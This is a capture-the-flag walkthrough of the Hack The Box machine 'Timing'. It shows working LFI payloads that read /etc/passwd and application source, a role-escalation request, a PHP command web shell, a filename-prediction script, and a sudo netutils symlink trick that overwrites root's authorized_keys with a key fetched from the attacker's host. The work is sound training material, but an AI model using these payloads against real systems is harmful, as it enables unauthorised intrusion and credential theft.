Hack The Box - Timing Walkthrough
Today we will be taking a look at Timing from Hack the Box. Timing is considered to be of medium difficulty, and requires the usage of a local file inclusion to eventually find credentials for the box. We then find an application that we can run with sudo permissions, and misuse it to gain root access.
Foothold
Let's start off by initiating an nmap scan, which will enumerate all services and their versions that are running on the machine. To ensure we aren't missing any critical information, I chose to specify the -p- flag to scan all ports as well.
1nmap -sC -sV -p- -oA nmap/all_ports timing.htb
The nmap scan came back with the following results.
1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3| ssh-hostkey:
4| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
5| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
6|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
780/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8| http-title: Simple WebApp
9|_Requested resource was ./login.php
10| http-cookie-flags:
11| /:
12| PHPSESSID:
13|_ httponly flag not set
14|_http-server-header: Apache/2.4.29 (Ubuntu)
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We find SSH open on port 22, and an Apache httpd version webserver with version 2.4.29 on port 80. Let's visit the webserver to see what we are dealing with. As the nmap scan already mentioned, we are automatically redirected to the /login.php login form. Before we start working with the login form, I always like to run enumeration tools in the background. Let's run gobuster. As we see login.php, I add the -x php flag to check for php files.
1gobuster dir -u http://timing.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php
Let's start up BurpSuite, and analyze the login form. We login with admin:admin credentials, and send the following POST request.
1POST /login.php?login=true HTTP/1.1
2Host: timing.htb
3Content-Length: 25
4Cache-Control: max-age=0
5Upgrade-Insecure-Requests: 1
6Origin: http://timing.htb
7Content-Type: application/x-www-form-urlencoded
8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10Referer: http://timing.htb/login.php
11Accept-Encoding: gzip, deflate
12Accept-Language: en-US,en;q=0.9
13Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc
14Connection: close
15
16user=admin&password=admin
Let's save the request and see if SQLMap manages to find an SQL vulnerability within this form.
1sqlmap -r req --level=5 --risk=3
SQLMap does not find any injectable parameters. Let's take a look at the gobuster results.
1/js (Status: 301) [Size: 305] [--> http://timing.htb/js/]
2/images (Status: 301) [Size: 309] [--> http://timing.htb/images/]
3/css (Status: 301) [Size: 306] [--> http://timing.htb/css/]
4/logout.php (Status: 302) [Size: 0] [--> ./login.php]
5/login.php (Status: 200) [Size: 5609]
6/upload.php (Status: 302) [Size: 0] [--> ./login.php]
7/image.php (Status: 200) [Size: 0]
8/profile.php (Status: 302) [Size: 0] [--> ./login.php]
9/index.php (Status: 302) [Size: 0] [--> ./login.php]
10/header.php (Status: 302) [Size: 0] [--> ./login.php]
11/footer.php (Status: 200) [Size: 3937]
12/server-status (Status: 403) [Size: 275]
13/db_conn.php (Status: 200) [Size: 0]
It seems like we are able to enumerate existing pages, as we get redirects from logout.php, upload.php, profile.php etc. However, we cannot browse to these pages before we get access to the portal. We can however browse to image.php, which gives us a blank page. Let's figure out whether image.php has any functions that we can leverage. To figure this out we will be using wfuzz.
1wfuzz -c -u http://timing.htb/image.php?FUZZ=/etc/passwd -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 0
We use -c to add colors, and add an LFI payload to the parameter option to test for local file inclusion. We get a 200 response code for every page, so we hide false-positives when the char count is 0. We get the following result:
1=====================================================================
2ID Response Lines Word Chars Payload
3=====================================================================
4
5000000360: 200 0 L 3 W 25 Ch "img"
We navigate to the page using an LFI payload.
1GET /image.php?img=../../../../../../etc/passwd HTTP/1.1
And get the following output.
1HTTP/1.1 200 OK
2
3Hacking attempt detected!
Let's send this request to the Burp repeater, and see if we can bypass the security that is in place. PHP has a base64 filter that we can use for this purpose. Let's craft the following payload and send it to the server.
1GET /image.php?img=php://filter/convert.base64-decoder/resource=../../../../../etc/passwd HTTP/1.1
The server still thinks we are sending a malicous request. After doing some tests I figured out that the server doesn't like the dots in the request, so I send the following one.
1GET /image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd HTTP/1.1
After which the server responds with the contents of the /etc/passwd file.
1root:x:0:0:root:/root:/bin/bash
2daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3bin:x:2:2:bin:/bin:/usr/sbin/nologin
4sys:x:3:3:sys:/dev:/usr/sbin/nologin
5sync:x:4:65534:sync:/bin:/bin/sync
6games:x:5:60:games:/usr/games:/usr/sbin/nologin
7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
20systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
21syslog:x:102:106::/home/syslog:/usr/sbin/nologin
22messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
23_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
24lxd:x:105:65534::/var/lib/lxd/:/bin/false
25uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
26dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
27landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
28pollinate:x:109:1::/var/cache/pollinate:/bin/false
29sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
30mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
31aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
We see that there is a user on the box named aaron. Whenever I know a username on a box and have a local file inclusion, I always try to read the SSH private key of that user. Let's send the following request.
1GET /image.php?img=php://filter/convert.base64-decoder/resource=/home/aaron/.ssh/id_rsa HTTP/1.1
But sadly, no luck. When we were running the gobuster scan earlier I stumbled onto a /db_conn.php file. This file seems interesting, as it could contain information regarding the underlying database. Let's try to get the contents of that file in a base64 encoded form.
1GET /image.php?img=php://filter/convert.base64-encode/resource=db_conn.php HTTP/1.1
Which, when we decode it back from base64, shows us the following contents.
1<?php
2$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_xxxxx_p422w0rd');
We find the credentials for the local mysql database. I tried to use them to get past the login form, but unfortunately there is no password reuse in play. Let's continue with the next file that we found using gobuster, which is upload.php.
1<?php
2include("admin_auth_check.php");
3
4$upload_dir = "images/uploads/";
5
6if (!file_exists($upload_dir)) {
7 mkdir($upload_dir, 0777, true);
8}
9
10$file_hash = uniqid();
11
12$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
13$target_file = $upload_dir . $file_name;
14$error = "";
15$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
16
17if (isset($_POST["submit"])) {
18 $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
19 if ($check === false) {
20 $error = "Invalid file";
21 }
22}
23
24// Check if file already exists
25if (file_exists($target_file)) {
26 $error = "Sorry, file already exists.";
27}
28
29if ($imageFileType != "jpg") {
30 $error = "This extension is not allowed.";
31}
32
33if (empty($error)) {
34 if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
35 echo "The file has been uploaded.";
36 } else {
37 echo "Error: There was an error uploading your file.";
38 }
39} else {
40 echo "Error: " . $error;
41}
42?>
We can see that this php file provides us with the ability to upload files to the server. We however still need to be authenticated in order to use this. In the top statement there's an include statement, including the admin_auth_check.php file. Let's see look at this file.
1GET /image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php HTTP/1.1
After decoding the contents back from base64 we get the following php code.
1<?php
2
3include_once "auth_check.php";
4
5if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
6 echo "No permission to access this panel!";
7 header('Location: ./index.php');
8 die();
9}
10
11?>
This file checks whether the session role is equal to 1. If this is not the case, we will get a permission denied. It seems asif we really have to authenticate to the webapp in order to get onto this box. At this point I was feeling pretty stuck, so after looking at a few hints I realized that the credentials for the web app were as simple as aaron:aaron... This was a bit triggering but alright, let's continue! :)
We get logged onto the web app as "user 2". In order to upload files, we need our user's role to be equal to 1. Our user pretty much only has one function, which is "edit profile". Let's edit our profile and check the request.
1POST /profile_update.php HTTP/1.1
2Host: timing.htb
3Content-Length: 52
4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
5Content-type: application/x-www-form-urlencoded
6Accept: */*
7Origin: http://timing.htb
8Referer: http://timing.htb/profile.php
9Accept-Encoding: gzip, deflate
10Accept-Language: en-US,en;q=0.9
11Cookie: PHPSESSID=kgeait309cbhvqc7983bstr7vc
12Connection: close
13
14firstName=test&lastName=test&email=test&company=test
Let's see if we can change our role by supplying &role=1 to the request.
1POST /profile_update.php HTTP/1.1
2[...]
3
4firstName=test&lastName=test&email=test&company=test&role=1
We forward the request, and out of nowhere the "admin panel" view pops up to our account. Nice. This admin panel allows us to upload an avatar image. Visiting this page directs us to the avatar_uploader.php file, which used the upload.php file to upload contents. After analyzing the upload.php file, we notice that we are not allowed to upload .jpg files, and that the file name is changed to the md5 hash of the file in combination with the output of the php time() command. Let's step-by-step exploit this file upload functionality.
Let's first create a simple php command shell, and save it as shell.jpg.
1<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
Now we need to create a script that will get the name for the file that we are uploading. For this I create a simple Python script.
1import time
2import hashlib
3
4while True:
5 print(f"hash = {hashlib.md5('$file_hash'.encode() + str(int(time.time())).encode()).hexdigest()}")
6
7 time.sleep(1)
We try the the hashes created by the python script in combination with the filename, and eventually find the following request that works.
1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg&cmd=whoami HTTP/1.1
Which responds with.
1www-data
We have achieved code execution! Let's quickly get a reverse shell onto this box before the file gets deleted! I try to get a reverse shell using netcat and a typical bash reverse shell on different ports, but sadly, no luck. Seems like there is a firewall in place that is blocking connections.
Let's manually enumerate the box using our command shell. After looking through all of the /var/www/html/ files, user directories, back up directories and more, I finally stumble upon a source-files-backup.zip within the /opt/ directory. In order to download it, we need to move it to a location that is accessible for us, such as the /var/www/html/ directory.
1GET /image.php?img=images/uploads/0d6e548d7312cda8654014a8f17316f0_shell.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/ HTTP/1.1
We can now navigate to http://timing.htb/source-files-backup.zip to download the file. We unzip the file, and find the following contents.
1-rw-r--r-- 1 kali kali 200 Jul 21 2021 admin_auth_check.php
2-rw-r--r-- 1 kali kali 373 Jul 21 2021 auth_check.php
3-rw-r--r-- 1 kali kali 1.3K Jul 21 2021 avatar_uploader.php
4drwxr-xr-x 2 kali kali 4.0K Jul 21 2021 css
5-rw-r--r-- 1 kali kali 92 Jul 21 2021 db_conn.php
6-rw-r--r-- 1 kali kali 3.9K Jul 21 2021 footer.php
7drwxr-xr-x 8 kali kali 4.0K Jul 21 2021 .git
8-rw-r--r-- 1 kali kali 1.5K Jul 21 2021 header.php
9-rw-r--r-- 1 kali kali 507 Jul 21 2021 image.php
10drwxr-xr-x 3 kali kali 4.0K Jul 21 2021 images
11-rw-r--r-- 1 kali kali 188 Jul 21 2021 index.php
12drwxr-xr-x 2 kali kali 4.0K Jul 21 2021 js
13-rw-r--r-- 1 kali kali 2.1K Jul 21 2021 login.php
14-rw-r--r-- 1 kali kali 113 Jul 21 2021 logout.php
15-rw-r--r-- 1 kali kali 3.0K Jul 21 2021 profile.php
16-rw-r--r-- 1 kali kali 1.7K Jul 21 2021 profile_update.php
17-rw-r--r-- 1 kali kali 984 Jul 21 2021 upload.php
We find a .git directory. Let's use gittools to extract the information from this git repo. We issue the following command.
1/opt/tools/GitTools/Extractor/extractor.sh backup gittools_out
When navigating through our dumped files, we stumble across a commit that changed the password within the db_conn.php file. Let's give it another shot, and try to use this password to connect to ssh. And finally, we get our user shell.
1aaron@timing:~$ whoami
2>> aaron
3
4aaron@timing:~$ ls
5>>user.txt
Privilege escalation
Let's run Linpeas and hope that the privilege escalation of this box is less of a hell than the initial access :D Linpeas notices that our user is allowed to run /usr/bin/netutils as root. Let's run sudo -l.
1aaron@timing:~$ sudo -l
2Matching Defaults entries for aaron on timing:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4
5User aaron may run the following commands on timing:
6 (ALL) NOPASSWD: /usr/bin/netutils
When looking at the file that is being ran, we can see the following contents.
1aaron@timing:~$ cat /usr/bin/netutils
2
3#! /bin/bash
4java -jar /root/netutils.jar
When running the executable as sudo, we see that we are allowed to specify a URL to which the server will connect. The file that we specify is then saved onto Aaron's home directory.
1aaron@timing:~$ sudo /usr/bin/netutils
2netutils v0.1
3Select one option:
4[0] FTP
5[1] HTTP
6[2] Quit
7Input >> 1
8Enter Url: http://10.10.14.29/file.txt
9Initializing download: http://10.10.14.29/file.txt
10File size: 563 bytes
11Opening output file keys
12Server unsupported, starting from scratch with one connection.
13Starting download
14
15Downloaded 10 byte in 0 seconds. (5.49 KB/s)
Given this knowledge, we can create a symbolic link of the root ssh authorized_keys file, and then have root overwrite its own authorized_keys file with our public key. Let's first create the symbolic link.
1aaron@timing:~$ ln -s /root/.ssh/authorized_keys pub_keys
Now we create a new SSH key pair, and copy the id_rsa.pub file to pub_keys. We set up a Python webserver, and tell netutils to download the pub_keys file.
1aaron@timing:~$ sudo /usr/bin/netutils
2netutils v0.1
3Select one option:
4[0] FTP
5[1] HTTP
6[2] Quit
7Input >> 1
8Enter Url: http://10.10.14.29/pub_keys
9Initializing download: http://10.10.14.29/pub_keys
10File size: 563 bytes
11Opening output file keys
12Server unsupported, starting from scratch with one connection.
13Starting download
14
15
16Downloaded 563 byte in 0 seconds. (5.49 KB/s)
We can see that the file is downloaded in the web server logs.
1Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
210.129.128.235 - - [04/Apr/2022 18:01:13] "GET /keys HTTP/1.0" 200 -
310.129.128.235 - - [04/Apr/2022 18:01:13] "GET /keys HTTP/1.0" 200 -
Now we can finally logon to the server as root, using the basic ssh syntax.
1kali@kali:~$ ssh root@timing.htb
And we are root!
1root@timing:~# whoami
2root
3root@timing:~# ls
4axel netutils.jar root.txt
I hope this walkthrough has been useful to you. It sure has been a frustrating but educational experience for me! Thanks for reading, and have a nice day :)